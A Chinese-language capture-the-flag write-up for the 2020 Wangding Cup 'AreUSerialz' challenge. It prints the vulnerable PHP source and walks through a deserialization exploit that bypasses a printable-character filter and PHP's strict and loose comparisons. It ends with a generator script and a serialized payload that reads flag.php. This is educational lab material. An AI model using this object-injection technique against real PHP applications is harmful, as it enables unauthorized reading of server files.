[网鼎杯 2020 青龙组]AreUSerialz

1.代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
    

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
    
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
    
        if($this->op == "1") {
    
            $this->write();
        } else if($this->op == "2") {
    
            $res = $this->read();
            $this->output($res);
        } else {
    
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
    
        if(isset($this->filename) && isset($this->content)) {
    
            if(strlen((string)$this->content) > 100) {
    
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
    
            $this->output("Failed!");
        }
    }

    private function read() {
    
        $res = "";
        if(isset($this->filename)) {
    
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
    
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
    
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{
    'str'})) {
    

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
    
        $obj = unserialize($str);
    }

}

通过GET传入参数str，对参数进行序列化，并对传入参数使用is_valid()函数进行检测字符的ascll马在32到125之间。上面是定义的需要反序化的对象。当op==‘1’时会调用write方法并输出一些没什么用的字符后结束，当op==‘2’时会调用read方法读取$filename文件并赋值给$res输出。当op===‘2’时会执行__destruct函数并对op进行赋值为‘1’。

2.ascll码绕过

protected定义的变量在反序化后会在变量名后输出看不见的%00空白字符，ascll码默认为零，会被is_valid函数拦截。有两种绕过方式。

1.php7.1后对变量属性不敏感，换成public定义变量则不会产生%00字符，实现绕过。
2.利用大写S采用的16进制，来绕过is_valid中对空字节的检查。这个比较复杂这里主要用第一种。

3.弱比较强比较

检查op===‘2’时使用的是强比较，检查op==‘1’时使用的是弱比较，我们不能让op=‘2’执行__destruct函数并对op进行赋值为‘1’，也不能让op=‘1’执行write方法后结束，可以将op赋值为int型的2，从而绕过强比较的‘2’，和弱比较的‘1’。
最后的反序化变量为：

<?php 
class FileHandler {
    

    public $op=2;
    public $filename='flag.php';
    public $content; 
}
$b=new FileHandler();
$a=serialize($b);
echo $a;
?> 

执行后得到payload：

O:11:"FileHandler":3:{
    s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;} 

传入后查看源码getflag。